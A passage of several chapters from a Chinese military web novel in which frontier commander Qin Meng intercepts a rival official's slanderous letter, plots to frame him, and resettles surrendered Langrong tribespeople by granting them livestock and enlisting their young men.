他知道飞虎卫其他营地大多数是老兵,厮杀经验丰富,知道避开要害,伤亡比例大大降低。
可他却不知道的是,铁血军寨将士擅长小组配合作战,伤亡比之低更是让赵起等人惊诧,私下议论、探讨铁血军寨的军事化管理制度。
秦猛声音低沉,“老规矩,阵亡和致残的弟兄,足额发放抚恤金,务必亲自交到家人手中。
若有家眷妻儿,务必好生照料,确保他们日后生活无忧。若是……没有家人的,”
他顿了顿,“就从寨里收拢的孤儿中,挑选品行端正的过继到其名下,用他们的抚恤金及烈士家属待遇,好生养育成人。
并告知这些孩子们,他们父辈的英勇事迹,是军寨的勇士,值得记住,每年引领他们祭拜。”
“明白,属下会亲自督办,绝不敢有误。”诸葛风郑重应下。
秦猛点了点头,继续沉声道:“英烈碑上,重开一面。此次北征,草原大捷,是所有将士用血换来的。
将这二十三位勇士的名字,作为第二批刻上去。待清明节前,我会下令筹备,举行全军追悼大会,让他们被全寨铭记,受后人香火敬仰!”
“是!”诸葛风记下。
随后他想起了一件重要的事,脸色凝重地说道:“对了,大人,涌入军寨战马,驮马近六千匹,牛等过两万头,马厩牛棚已经满了,短期无妨,可长时间断然不行,还得要人照料。”
“另外这划过来的数千俘虏……”
“此事我有考虑,明天开个会,就专门讨论此事。”秦猛见诸葛风忧心忡忡的样子,笑着安慰。
“好处都落到口袋了,怎么来吃,还不是我们说了算?”
“还是大人说得对!”诸葛风如释重负般地松了口气。随后,他躬身告退去处理抚恤等事宜。
秦猛马不停蹄,很快来到了烟火气浓重的军器监,径直走入铁器作坊,找到副使李根生。得知需要的东西,还有关键的步骤未完成。
他也不急,带队返回官署!
与此同时,各营将领喜气洋洋,将分到的成群战马、牛羊以及金银装备运回各自临时营盘,安排人手看管,准备次日一早便护送返回驻地。
而距离最近的磐石营知寨官魏文,更是统计清楚后,没有拖沓,直接调动人手连夜将分得的马匹牛羊赶回南河城寨的军用草料场安置。
周扬见魏文急吼吼的样子,不禁皱眉。
李山,常勇本来想劝说分成多批,却终究没开口。暗部猎犬副队长陈阳安排一队民壮协助,又以防万一,向暗部飞天营申调高手协助……
第302章 密信起风波
军寨官署后院,正房烧着炉火,温暖如春,与外面的风雪交加,说笑喧闹仿佛两个世界。
陈月娘早早从军医局回来,亲自下厨,备好热腾腾的饭菜,烫了一壶好酒,等待着秦猛归来。
“官人,外面这般喧闹,牲口成群地驱赶,不会又要打仗了吧?”秦猛掀帘进入,陈月娘迎上来,替他拂去披风上的寒气,眼中难掩担忧。
秦猛接过温热的酒碗,看向陈月娘,也是在对略显不安的妹妹秦小芸和安**着的林婉儿解释道:“不必忧心。这只是分配战利品。
接下来最重要的,不是打仗,而是尽快消化此次战果,巩固根基。我们要利用开春后,整军训练、筑城营建、组织人手开荒、备耕。”
“这事至关重要。”他语气沉稳,带着令人安心的力量:“我已与南河城寨的魏知寨商议妥当,将进一步加强两寨联防。
在两寨之间的要道增筑几座据点,加派游骑,共享警讯。一旦有敌来犯,可互相支援,迅疾反应。务必将这两座军寨串联,经营得固若金汤,让任何敢来窥视之敌,有来无回!”
听到丈夫并非要即刻出征,而是坐镇后方,经营防务,陈月娘眼中的忧虑才渐渐散去,轻轻点头:“官人心中有成算便好。与魏知寨联手,确是稳妥之道。”
秦小芸似懂非懂,但觉得哥哥很厉害;林婉儿也微微颔首,表示认同,更是提出了建议。
“秦大哥,若是要开荒,可以到郡城多雇佣劳动力。以军寨的伙食待遇,他们挤破头也要来。”
“那是,连**营都加餐吃肉。”秦小芸笑着附和。
饭桌上,气氛渐渐活跃起来,有了说笑之声。然而,秦猛心中清楚,此次巨大的收获必然引来了目光,平静之下,暗流已然开始涌动。
……
南河城寨。李雄奉命带队,驱赶着如云般的牛羊马匹,浩浩荡荡返回,大部分暂时安置在军寨外的军用草料场,小部分则直接驱入寨中。
哪怕只有两三百匹马,数百只羊,也不是小数目。
如此巨大的动静,根本无法遮掩,有人看见,这事儿一传十十传百,顿时引起了全城寨军民的围观,各种议论、惊叹、羡慕之声不绝于耳。
消息如同长了翅膀,立刻飞到了监镇官孙仁的耳中。他正在书房品茶,闻报后,端着茶杯的手微微一顿,眼中闪过一丝精光。
他立刻唤来心腹,低声吩咐:“去,仔细打探,磐石营此次究竟带回了多少战利品?特别是战马牛羊和金银细软之数,越详细越好!”
心腹领命而去后,孙仁沉吟片刻,整理了一下衣冠,亲自前往军寨求见李雄。
核心军寨,大堂内,李雄正忙得脚不沾地,见孙仁到来,心中暗叫一声“晦气”,面上却堆起热情的笑容迎上前:“孙监镇大驾光临,有何指教?”
孙仁皮笑肉不笑地寒暄两句,便切入正题:“李知寨,今日寨中热闹非凡啊。听闻贵营此次北出,收获颇丰?真是可喜可贺!
不知具体数目几何?也好让本官记录在案,向上峰呈报这份喜讯啊。”
李雄早有准备,打着哈哈道:“孙监镇消息灵通。托将军洪福,将士用命,确是有些斩获。不过多是些牛羊牲口以补充军需、犒赏将士罢了。
具体数目杂乱,天黑又不便统计,尚未清点完毕,待整理完毕,定当造册报予监镇知晓。”
他故意将数字模糊化,重点强调是“补充军需”。
孙仁哪里肯信这套官面文章?
他眯着眼,脸上笑容不变,语气却带着一丝不易察觉的逼迫:“哦?仅是补充军需么?本官看那马群之中,颇多神骏之辈,恐怕非同小可啊。
李知寨,你我同在幽州为官,当同心协力才是。若是杀**,如此缴获,乃是大功一件。
上报刺史府,对魏知寨、对李副将你,乃至对整个磐石营,都是大有裨益之事,何必遮掩呢?”
李雄心中冷笑,面上却愈发诚恳:“孙监镇所言极是,只是军务繁杂,确需时日厘清。一旦清点明白,便派人告知于你,绝不敢隐瞒。”
孙仁见李雄滴水不漏,知道问不出个所以然,也不好逼迫过甚,又闲扯几句,便借口公务告辞。
转身离开军寨的那一刻,他脸上的笑容瞬间收敛,取而代之的是一片阴鸷。
“哼,魏文、李雄,还有那个突然冒起来的秦猛……缴获如此之巨,竟想瞒天过海,私下处置,独吞好处?真当你孙爷爷是泥塑的不成?”
他回到自己衙署,沉思片刻,嘴角勾起一抹冷笑,铺开信纸,提笔蘸墨:“此事,定要查个水落石出!
这泼天的功劳和财富,岂能由你们武夫独占?正好借此机会,让你们知道,强龙压不过地头蛇,这幽州的地界上,究竟是谁说了算!”
他笔走龙蛇,一封密信迅速写成,信中极尽渲染飞虎卫,磐石营与铁血军寨可能隐匿了巨额缴获,疑有私吞战利品、图谋不轨之嫌。
过于专注陷害他人,孙监镇没注意到,书房屋顶上趴着一个黑衣人,撬开琉璃瓦缝隙观瞧。
孙仁放下毛笔,略感凉意,却没多管。他用火漆仔细封好,唤来一名绝对心腹,低声嘱咐。
“你速将此信,亲手交予幽州刺史府治中从事孙大人手中,说明军情紧急,切记,要快,要密!”
“是!”
信使悄然转身,骑上马冲出后院,
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消失在夜色中。
……
孙仁的心腹信使骑着快马,刚冲出南河军寨南门不远,道旁黑影里突然穿出一条人影来。
那人速度非常快,直接将那信使狠狠扑下马来,信使被摔了个七荤八素,慌忙去拔腰间短刀,可手还未碰到刀柄,后脑便传来一阵剧痛,眼前一黑,顿时瘫软下去,失去了知觉。
动手的黑衣人正是石地虎,他把手中木棒丢掉,“嘎嘎”怪笑着用脚踢了踢昏过去的信使:“哟哟,这首次接到兄弟部队求助,就碰上条大鱼!”
另一边,副队长陆晓飞已敏捷地追回受惊的两匹马。
石地虎熟练地在信使身上摸索,很快搜出一封火漆密信,又顺手解下他腰间钱袋揣入自己怀中。
陆晓飞牵着马走回,见状眼皮狂跳,无奈低语。
“队长,你这是违反……”
“你啥也没看见,回去对半分。”石地虎挤挤眼。
陆晓飞顿时眉开眼笑:“要得!这个要得!”
两人将昏迷的信使捆成粽子,横置于马背,一人双骑,迅速消失在返回铁血军寨的夜色中。
次日清晨,天色大亮。
铁血军寨官署前厅内还残留着一丝夜的寒意。
石地虎和陆晓飞站在下首,中间是那个被捆得结结实实、嘴里塞着布团、软啪啪的信使。
石地虎抱拳,声音带着几分执行任务后的利落,又混着他特有的那股劲儿:“大人,俺们昨晚潜进南河军寨,听到孙仁与李副将旁敲侧击,蹲到这老小子在书房里写这玩意。”
他指了指秦猛面前桌案上的密信,“他见李副将带回那么多牲口,又被敷衍打发,分不到一杯羹,眼红得紧,憋着坏要向幽州告黑状呢!”
陆晓飞上前一步,语气更沉稳些,补充道:“没错,属下伏在屋顶听得清楚,孙仁言语间对将军和飞虎卫多有不忿,推断此信内容,多半是构陷污蔑我等隐匿缴获、图谋不轨。”
秦猛端坐主位,手指轻轻敲击着那封未曾拆开的密信,眼神随着两人的汇报越发冰寒。
“哼,真是找死!”他冷哼一声,目光如刀般扫过地上那“粽子”般的信使,声音里不带半分温度。
“好好审问他。肯配合,做个证人,指认孙仁这撮鸟,或许能留条生路;拒不配合,就死。”
“让他知道,这是谁的地盘?”说完,他抓起密信揣入怀中,起身大步向外走去,没有丝毫犹豫。
“得令!”
身后,立刻传来石地虎和陆晓飞带着几分戏谑的嘿嘿怪笑,以及那名原本瘫软装昏的信使,听到这最终宣判后,控制不住的剧烈颤抖,裤裆处瞬间湿热一片,臊气在空气里弥漫开来。
第303章 密信构陷,铁血反击
飞虎卫一号临时营地。
中军大帐内,炉火点燃,却驱不散那种腐朽阴冷。
秦猛把昨晚派人协助李雄驱赶马群返回南河城寨,意外发现监镇官孙仁憋坏的事儿详细汇报。
他带来的那封密信,此刻正拆开摊在赵起面前的案上。赵起脸色铁青,魏文则紧锁眉头。
火急火燎赶来的赵平最晚来到,接过密信念起来。
“孙大人钧鉴:下官南河城寨监押孙仁顿首再拜。
惊悉本月二中旬出,南河所属磐石营并新立之铁血军寨,擅调兵马过千,北出边墙,名曰御敌,实则行踪诡秘,下官竟不得与闻详实。
至二月末夜,磐石营副将李雄竟驱赶大队战马、牛羊返回,观其规模,草原马不下五百,牛羊数以千计,缴获之巨,实属罕见!
然,彼等对此讳莫如深,于缴获数目、来源一概隐匿,拒不呈报,下官以为,其心叵测!
更兼近来飞虎卫骄横日甚,其将领如魏文、秦猛之流,区区一武夫,竟目无上官,坑害、擅杀朝廷命官,当真是罪大恶极,其罪当诛……”
反正就是一大堆说秦猛的坏话,来表明立场。赵平越往下看,声音越高,眼中的怒火也越盛:
“今边军私相授受,以战利品笼络军心,营中只知有将军,不知有朝廷法度。彼等拥此巨资,扩军备武,串联边将,而幽州帅司竟似默许,长此以往,恐非边疆之福,实乃心腹大患!
……
下官忧心如焚,窃以为此非寻常缴获不报,恐有私募兵马、图谋不轨之嫌!恳请大人明察,速遣干员彻查此事,追缴非法所得,遏制其势,以防微杜渐,则边疆幸甚,朝廷幸甚!
临表惶悚,迫切上陈。”
信上,孙仁极尽渲染之能事,不仅将缴获数量夸大了数倍,更直言飞虎卫及其关联将领“骄横日甚,目无上官,私蓄兵马,其心叵测”。甚至暗示与境外势力有所勾连,有“不臣之迹”。
赵平念至最后,已是须发皆张,拳头捏的咔吧作响。咬牙切齿道:“**!老子当初不愿当那劳什子知寨官,就是受不得这群鸟人的腌臜气。
白的能说成黑的,功臣能诬为反贼!魏大哥,还有何老弟(双塔城寨),你们常年镇守边关,既要防着界河北岸的**,又要时刻提防背后这些捅刀子的蛇鼠,真**辛苦了!”
魏文面露苦笑,无奈中带着愤懑:“赵统领息怒。此类构陷我等边军案例,近年来已非一次。
孙仁此獠,贪渎军粮、排挤异己,搜刮民脂民膏等。我多次上报幽州帅司,皆石沉大海。
若没有确凿反迹,仅凭此密信,我若动他,幽州刺史府必不会善罢甘休,上表朝廷说边将擅杀地方官吏,届时反坐实了‘居心叵测’之名。”
“难道就任他像疯狗一样攀咬?”赵平怒道。
“赵大哥,少安毋躁。”秦猛神色平静,不屑道:“小小孙仁,一个监镇官,臭鱼烂虾边角料。”
“秦兄弟,你脑袋好使,有何办法?”赵平立刻追问。
秦猛点头,转向赵起,“赵将军,此事我有上中下三策。”
“讲。”赵起目光锐利地看过来。
“下策,简单。我派人今夜潜入南河城寨,让孙仁‘暴病而亡’。干净利落,但后患无穷,幽州官僚必不会罢休,会像疯狗一样扑上来。”
秦猛语气平淡,却带着寒意。
赵起缓缓摇头:“不妥。虽解恨,却落人口实,非正道,幽州不会坐视不理,也会连累魏文。”
秦猛继续道:“中策,由魏知寨明日便与孙仁公开撕破脸,以干预军务、构陷同僚为名,将其软禁,彻底掌控南河城寨,先斩后奏。”
赵起思索片刻,不置可否:“若如此,少不得上报朝廷,与他打一场笔墨官司。此策看似主动,实则是与虎谋皮,陷入对方最擅长的官场缠斗,胜负难料,且长期牵扯精力,于备战不利。”
魏文沉吟:“此策……或许可行,但后续麻烦极大。”
秦猛微微一笑:“故此,我有上策。魏知寨不方便动手,恶人由我来做,反正因刘德福的事儿,我已经彻底得罪幽州官僚,债多了不愁。
他们不是喜欢扣帽子、找由头吗?我们也可效仿。我明日便派一队士卒,押送部分战马至南河城寨‘售卖’,途中几人‘意外失踪’。
随后,我便可大张旗鼓派人搜寻,最后‘恰好’在孙仁私牢或衙署附近找到他们‘遍体鳞伤’的痕迹。
我便可雷霆震怒,以‘幽州官吏蓄意扣押、**边军信使,疑似通敌谋反’为名,直接派兵拿下孙仁及其党羽,押回我铁血军寨审讯。到了我这儿,由不得他不招,尽数吐露实情。
我在八百里加急上报帅司,反告幽州官僚蓄意破坏边镇团结,袭击执行军务的边军士卒!
赵将军也谏言吴大帅,上表朝廷,述说此事。幽州地方不是一次两次有龌龊行径,届时,人赃并获,主动权在我,看那幽州刺史府如何辩解?”
秦猛此言一出,帐内顿时安静下来。
好熟练呐!赵起、魏文、赵平
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三人皆面露错愕。
随即,魏文若有所思,赵平则猛地一拍大腿:“妙啊!以其人之道,还治其其身!这帽子扣得比他们还狠还绝!秦兄弟,你这脑袋怎么长的?”
秦猛淡然一笑:“非常之时,行非常之事。他们不讲规矩,我们又何必拘泥?来墨守成规?
此策乃是先下手为强,既克除了内患,又能反将一军,更能震慑幽州那些蠢蠢欲动之辈。”
赵起与魏文对视一眼,均看到对方眼中的决断。
赵起重重一拍案几:“好!就依秦猛之上策!细节还需周密布置,务必一击必中,不留后患!”
接下来,三个人围绕该计划议论着。
什么是三个人?那是因为在整个讨论过程中,赵起始终沉默不语,他微微闭着眼,手指无意识地敲击着案桌,仿佛在养神,又像是在权衡。
他既不赞同,也不反对,只是静静地听着三位下属将一条看似大逆不道的计策,一步步完善成一套逻辑严密、几乎找不到破绽的行动方案。
他的沉默,在这种情境下,本身就代表了一种默许。
还是那句话,赵起作为一军主将,忠于朝廷,有些话他不能说,有些事他不能直接下令,更不能参与,但他可以“不知道”,可以“事后追认”。
待到三人讨论声渐歇,行动方案细节已趋完善。
赵起才缓缓睁开眼,目光扫过三人,最终落在秦猛身上,语气平淡却带着不容置疑的决断。
“既然尔等均认为此事需果断处置,以防患于未然,那便……依议而行吧。只是,切记分寸,拿贼须拿赃,一切需合乎……情理。”
他特别强调了“情理”二字,既是要求证据确凿,也是划下了一道底线。
“末将明白!”秦猛、魏文、赵平三人齐声应道。
他们清楚,赵将军的“依议而行”,就是对他们最大的支持。
秦猛不再耽搁,立刻起身告辞,他军寨中还有许多公务如堆积如山的战利品和俘虏需要处置。
当他风尘仆仆赶回军寨,官署内,王槐、诸葛风、李恒、赵开明等核心文吏早已等候。气氛严肃中带着一丝因巨大收获而产生的紧迫感。
秦猛在主位坐下,接过诸葛风递上的初步统计文书。翻开过后。看着上面惊人的数字,即便是早有心理准备的他也忍不住揉了揉眉心。
“一下子多了近六千匹良驹,两万余头牛羊,还有堆积如山的装备、皮货……我军实力确是暴增,但这安置的压力,也是前所未有啊!”
第304章 军寨会议,定策安民
“诸位,有何看法?”秦猛将文书放下,语气凝重地开场。
诸葛风接口,脸上并无喜色,唯有深虑:“大人明鉴,如此巨量牲口涌入,喜忧参半。
日耗草料便是天文数字。现有圈舍捉襟见肘,扩建需投入大量人力物力。
管理、防疫,更需专人专才,急切间难以筹措。
此外,那数千狼戎俘虏,既是劳力,亦是数千张待哺之口,更是数千需严加看管的不稳定因素。
军寨日常粮秣消耗与管控压力,已成倍增加。”
老保长王槐声音洪亮,带着边地特有的务实:“没错!军寨的规矩,不养闲人!
这些狼戎人,既来了,不能闲着,就得干活!
依老夫看,四十岁以上的男人,负责照料牲口、扩建圈舍,准备开荒;女人则可组织起来,缝补衣物,处理奶制品,承担清洗等杂役。总之一句话,按咱们消化流民的法子来。”
“正是此理,坐吃山空必成负担,必须尽快转化。”秦猛站起身,走到悬挂的地图前,手指划过军寨周边河谷地带,
“我已获赵将军允诺,他已调拨部分人手协助。
即刻行动:第一,发动全军及可用民壮,优先扩建马厩牛栏,同时在周边合适河谷开辟新牧场。
第二,也是最关键处,尽快为这些狼戎俘虏编定户籍,厘清户数人口,这是一切安置的基础。”
他眼中决断之光一闪,抛出了构思好的方案:“与其我们大包大揽,耗费巨资集中饲养,不如只留下必备的军马、耕牛和足够肉羊。
将其余大部分牛羊,按户分配给已编户的狼戎家庭!规定数额,作为他们的私产,由其自家负责放牧、可进入牧场,也可在划定区域照料。
军寨只按年或按季收取定额的皮**、奶制品或部分幼崽作为赋税。如此,既可减轻我军管理负担,又能将他们的切身利益与军寨彻底捆绑,为了自家产业,他们自会安心定居,逐步适应并归化!”
王槐闻言,老眼放光,击节赞叹:“妙啊!大人!此真乃‘化人为民’、‘以俘养战’的上上之策!
给予活路和恒产,远胜刀枪鞭挞,这才是收服人心的根本!”
他进一步凭借老道经验补充:“咱们地处边陲,民风彪悍,只敬畏强者。草原上更是如此。
这种消灭部落兼并人口的事儿,极为普遍。只要军寨兵强马壮,保持强势,又不刻意苛待剥夺其生存之资,这些狼戎人反叛的概率极低。”
赵开明冷静地补充关键一环:“此外,须将俘虏中那些身体强健的青壮男子,单独编列,纳入军中作为预备力量,加以严格训练。
一来可增强我军潜力,二来也可让这些精力旺盛者有事可做,免得他们饱食终日,滋生事端。”
李恒也提出建议:“大人,如此多的牲口,管理需成体系。或可效仿农业部,成立一个专门的‘畜牧部’,与农耕分开管理,更显专业。
招募或指定专人负责,将那些年长或有经验的狼戎老人、妇女纳入其中,加快他们融入集体。”
其余幕僚也纷纷各抒己见,就草场划分轮牧、预备队编制、疫病防治等细节进行了热烈讨论。
最终,在集思广益之下,一套涵盖行政管理、军事控制、经济发展、社会融合的初步章程逐渐清晰。
秦猛综合各方的意见,觉得已无大的遗漏,当即拍板:“好!既然诸位意见统一,方案可行,那就即刻照此办理!
老爷子,子壑,劳烦你们牵头,会同李恒、赵开明,尽快将细则拟定成文。我们必须要抢在契丹人、女**可能的报复之前,将这些缴获转化为实实在在的战斗力和稳固的后方!”
“得令!”
命令既下,铁血军寨这台精密机器再次高速运转。
李恒、赵开明等人迅速将议定章程拟成正式公文,仔细誊抄多份,先是盖上知寨秦猛的大印,又送至监镇衙门苏珩处加盖了副印。
两份鲜红的大印,象征着军寨最高权力的认可和背书。
公文被吏员张贴在军寨各处的公告栏,以及狼戎人的临时安置区。
醒目的标题和落款处的红印,立刻吸引了大量目光。
公告主要内容如下:
一、兹将黑狼部落战败之众,编为“大周南狼戎族”,受军寨辖制,然享庶民的基本权利,军寨上下不得歧视,需同等对待,互助共济!(此条用朱笔特别标注)
二、军寨依诺,按各阿寅勒(家庭)户册,分发牛羊为私产,自行负责放牧繁衍,需妥善照料。
三、南狼戎族内适龄青壮,编为军寨预备队,名额八百人,设狼戎副将一员,由伯恩担任,另配部将三名,接受军寨正规军事化训练。
四、凡是南狼戎族人,符合要求者,可自愿报名进入军寨牧场、各作坊劳作,按劳获酬。立功者同样能够获得奖励,获得军寨职位。
五、俟明年开春,除了分发牛羊外,将遵意愿,按丁口酌量分发土地,并派遣专人教导耕种之术。
……
告示一出,首先在汉人军民中引起了剧烈反响。
人们围在公告牌前,议论纷纷。
“乖乖,直接分牛羊?还让他们自己管?这……这待遇也太好了吧?”一个老军汉瞪眼咂舌道。
“你看那两大印,秦知寨和苏监镇都盖了印,做不得假!秦大人真是仁慈……又魄力非凡啊!”
“说是化敌为友,可这也太……宽厚了?就不怕他们日后反噬?”<
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br>“怕啥?没看第三条吗?青壮都编进预备队了,刀把子还在咱们手里!再说了,给了活路和产业,只要管得严,赏罚分明,谁还愿意提着脑袋**?”
红彤彤的大印,让这看似不可思议的政策带上了不容置疑的权威性,尽管有疑虑,但大多数人对军寨的决定选择了信任和观望。
与此同时,狼戎人的几个安置区则更加热闹。
在一顶较为宽敞的毡房里,贾德长老强忍着咳嗽,正将儿孙和部落昔日的几名千夫长、当户与百夫长**在一起,苦口婆心地劝说。
“你们……咳咳……要信我,这铁血军寨非同一般!去岁就连败契丹伏弗郁部,听说斩首上万!
那女真部的蒲察,还有秃鹫、黑鹰三部六千联军,一夜之间就被荡平!这位秦知寨用兵如神,勇冠三军,军寨设立起,从未吃过败仗!这样的英雄,言出必行,值得我等追随啊!”
一些曾经的狼戎勇士脸上还带着几分将信将疑的傲气,但眼神却已不如几天前那般抵触。
就在这时,外面传来了响亮的铜锣声和带着口音却清晰的吆喝:“南狼戎族的各位父老乡亲!好消息!天大的好消息!”
“军寨有令,你们不再是俘虏,划为南狼戎族,享有待遇……”
贾德长老闻言,浑浊的老眼里顿时爆发出光彩,他立刻拄着拐杖起身,对帐内众人道:“走!快出去看看!我说得没错吧!”
他领着将信将疑的众人走出毡房。
此时,公告栏前已围满了被惊动的狼戎人。通译军汉正用熟练的狼戎语大声宣读、解释着告示内容。
当听到“编户为民”、“分发牛羊为私产”、“组建预备队自领”、“可分土地、学耕种”这些条款时,人群中的骚动变成了难以置信的嗡嗡声。
随即,一种巨大的解脱感和微弱的希望开始在人群中弥漫。
他们最怕的是成为失去一切、任人宰割的奴隶,但军寨的政策,竟然允许他们保留财产,甚至给予未来!
当军寨士兵真的驱赶着活生生的牛羊,按照户籍名册高声唱名分发时,怀疑被震撼取代。
老牧民乌尔干裂的手指触摸到分给他家的十几头母羊温热的皮**时,浑浊的双眼瞬间湿润,喃喃着“长生天保佑”及古老的草原祝福。
女人们紧紧拉着兴奋的孩子,脸上是交织的惶恐与微弱的希望。
壮年战士们则眼神复杂,紧握的拳头缓缓松开,目光不由自主地投向主寨旗帜飘扬的方向。
越来越多的狼戎家庭分到牛羊,整个安置区彻底沸腾了!
“阿塔……”
不知是谁,首先激动地朝着军寨方向,用草原上表示效忠和感激的最高礼仪,振臂高呼。
第305章 草原雄鹰,今为谁鸣
“阿塔!阿塔(父亲)!”
榜样的力量是无穷的!
随着第一声充满感激与效忠的呐喊响起,整个安置区如同被点燃的草原野火,迅速沸腾起来。
越来越多的人,无论男女老幼,都跟着舞动手臂,声嘶力竭地呐喊起来。声浪越发整齐,直冲云霄,仿佛要驱散连日来的阴霾与恐惧。
这震天的吼声,并非源于虚无的血缘亲情,而是草原上千年不变的、最直接最朴素的生存逻辑:
强大的战胜者不仅没有剥夺他们的一切,反而赐予了牲畜(生存之本)和职位(尊严未来。
那么,献上自己的忠诚便是最理所当然的回报。
从此,秦猛便是他们值得效忠的“牧主”,而他们,愿为守护这份恩赏成为最忠诚的“牧犬”。喊声越大,归附之心越诚,也期盼着未来能获得更多的恩赏。
在残酷的草原法则中,这种基于实力与恩赏的关系,远比缥缈的血缘或道德伦理更为牢固。
——当然,其前提是,恩主的力量必须持续强大,否则,一旦衰弱,忠诚亦会如风沙流散。
贾德长老站在激动的人群中,对身旁的伯恩等人低语,声音虽轻却带着看透世事的睿智:“看到了吗?秦将军不仅个人勇猛无敌,且有碾压我们的力量,更有驾驭人心的智慧。
大周建国快三百载,谁又能真正追根溯源?说不定这位秦将军祖上,便是来自这条大河以北。他懂得草原的法则,不是愚蠢地折断雄鹰的翅膀,而是让雄鹰心甘情愿地为他巡视天空。”
伯恩重重点头,他身后那十几名原部落中勇猛、有望竞争部将位置的勇士,看着族人手中实实在在的牛羊,眼中最后的犹豫和观望,已被急于在新主面前证明价值、换取更好未来的迫切所取代。
没有人愿意卑微地死去!
他们也渴望安定富足的生活,为了自己和家人的未来,效忠一位强大的“牧主”是明智的选择。
秦猛,此刻无疑成为了这些归附狼戎人新的希望所在。
但他要是知道贾德长老的论调,绝对会几个大嘴巴子过去,骂你这个老棒子不要搞歪门邪道。
怀柔政策的实施立竿见影。正如秦猛所料,牛羊到户的恩赏,远比任何华丽的空话更有说服力。
接下来的几天,几个安置区秩序井然。狼戎人开始默认战败,真正地将这里视为暂时的家园。
在军寨派出的工程队伍指导和协助下,他们以户为单位,积极参与搭建和加固自家的毡房,并用木栅栏划分出相对独立的空间,修建简易的围栏和牛棚,为已分发的牛羊做准备。
军寨官吏还根据各户登记的牲口种类、数量,发放了豆料:部分草料,堆成了一个个草垛。
许多老人和妇人也不再闲着,他们自发地跟随军队外出的人员,到附近的树林、草甸拾取枯枝作为柴火,收割干枯的灌木、艾草等补充草料。
有些经验丰富的老人,甚至会偷偷将收集到的动物骨骼磨碎,混入草料中为牲畜增加矿物质。
——这种主动寻找、囤积资源的行为,或照料马匹偷偷摸摸,无声地表明他们正在努力适应新的生活模式,从心底开始接受军寨的安排。
对于管理者而言,这是极好的现象,
“眼里有活”,为了生计而忙碌,就意味着心定了。
部落副将伯恩则领着精心筛选出的青壮前往征兵处报到。草原人没有了桀骜,整个登记、筛选过程异常顺畅,让军寨的文吏们都感到惊讶。
然而,军寨选拔新兵的严苛标准,身体不好不适合当兵这种人性化设定,也让伯恩等人错愕。
在草原上,只要你有口气在,无论男女都要上阵。
随后展开的新兵训练,更是给了伯恩等人一个结结实实的下马威,让他们深刻体会到军寨练兵严苛,部落武装与正规周军的巨大差距。
他们曾经的黑狼部落,缺乏像周军这样脱离生产、制度化、定时定点的大规模集体训练体系。
草原的战士更像是“生长”出来的,他们的军事技能——骑射、追踪、搏杀——完全融入日常的游牧、狩猎、迁徙乃至部族械斗之中,是一种生存本能。
而周军则依靠“冬练三九,夏练三伏”的严格操典,将普通人训练成协同作战的杀戮机器。
草原人自幼在马背上长大,骑射犹如本能,个体战力凶悍;但河对岸的大周边民同样骁勇,他们农忙耕种,农闲训练狩猎,身体素质扎实。
更关键的是,其严格的纪律性和协同作战能力,使得周军在组织性和灵活性上往往更胜一筹。
这种兵源素质和训练体系的优势,也是秦猛开局决心扎根北疆、打造强军的重要原因之一。
伯恩带着被编入军籍的八百部落预备军进入新兵营,张富贵、李山、袁飞、鲁真等将领用各自的方式,让他们明白了什么叫做真正的练兵,甚至在他们自认为擅长的领域给予了挫
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败:
张富贵直接在校场上,用纯粹的力量和悍勇,在不用兵刃的角力中,连续放倒了七名部落中以勇力著称的壮汉,伯恩就被摔了个大马趴,赢得一片寂静,随后是周军士兵的欢呼。
李山则指挥一队刀盾手,结成的紧密阵型,轻易挡住了部落骑兵发起的象征性冲锋,盾牌如墙,长矛如林,让惯于冲击的狼戎骑兵无从下口。
袁飞更是在骑射演练中,百步之外连珠箭发,箭箭命中微小靶心并穿透三个靶,其精准与迅猛,让素以箭术自豪的狼戎射手们瞠目结舌。
而当鲁真率领着重甲骑兵,哪怕只是小股部队进行演练时,那如山崩海啸般的冲击力,人马俱甲的恐怖威势,更是让伯恩等人心底发寒。
这一刻,他们真正相信了,铁血的军寨甚至未曾动用其最核心的重甲骑兵主力,便已覆灭了黑狼部落,击溃了女真联军。
那些关于秦猛曾以百骑破契丹兵数千、军寨连战连捷,斩首契丹万八千的传闻(即便经过口耳相传已夸大其词),也似乎变得可信起来。
畏惧之余,更多的是震撼:果然如贾德长老所言,大周即便有所衰弱,也是瘦死的骆驼比马大!
草原部落内迁过来,最大的障碍来自于语言。
数千人不可能立刻进入正规学堂。
秦猛直接下令,设立一个临时的“狼戎培训班”,抽调军中、民间少量通晓狼戎语的人员作为教员,先从最基础的汉语口语教起,并通过狼戎语的解释,教会他们读写自己的名字和数字。
贾德长老被委任为这个培训机构的“校长”。他异常认真地对待这项任务,每日不仅组织青壮学习军中必需的口令,还特意将部族中的半大孩子们**起来,耐心教导。
他用树枝在沙地上划出简单的汉字,用狼戎语解释含义,告诉这些眼睛清澈又带着迷茫的孩子:“孩子们,好好学。这些符号里,藏着比草原更广阔的天地,比牛羊更珍贵的智慧。
学会了它们,你们才能更好地在这片新的土地上立足,才能理解秦将军赐予我们的,不仅仅是牛羊拿起,还有部落发展壮大的希望。”
“汉文化昌盛,人口渐增,岐黄医术功不可没啊……”贾德长老尽职尽责,引导着部落的希望。
尽管发音古怪,语调滑稽,但人们的学习兴致却颇高,态度认真,因为他们隐约感觉到,掌握这种语言,是真正融入这里、获得更好未来的钥匙。
第306章 怀柔试点,北疆布局
军寨给狼戎人分牛羊的动静可不小。
大周边军抓到草原俘虏后,非但不会给他们分发牛羊牲口作为“安置”或“福利”。相反,俘虏往往被当作战利品的一部分,与牛羊一起被分配、赏赐或利用,来填补劳动力的空缺。
草原上就更是如此了,俘虏就是奴隶,没有**。像秦猛这般优待,是史无前例,绝无仅有。
怪不得狼戎人喊着阿塔,宣誓效忠!
赵起闻讯赶来时,看到的正是安置区工匠带着狼戎人忙碌,狼戎学汉语等“和谐”的景象。
他找到秦猛,严肃叮嘱:“秦猛,你这次的手笔……牛羊、战马,你不是说过非我族类,其心必异么?就不怕养肥了,他日阵前倒戈?”
秦猛站在寨墙之上,俯瞰着逐渐步入正轨的安置区,目光深邃:“将军,以前抓到俘虏都去干苦力,纯粹的压制,只会逐渐积蓄仇恨。
我们以后要踏足草原,占据地盘牧场,光靠刀剑不够。需要与其他部落交流,麾下有几支效忠的部落军打头阵,来管理那些战败的部落。
眼下您就当是一个试点,军寨吸纳这批狼戎人,让他们有资产,有盼头,逐渐养成有归属。他们亲自出力参与,才会真正把这里当成家。贾德是聪明人,他知道要约束引导族人。”
“况且……”他顿了顿,声音低沉却充满自信,“军寨的刀锋,从未卷刃。恩威并施,方是长久之道。
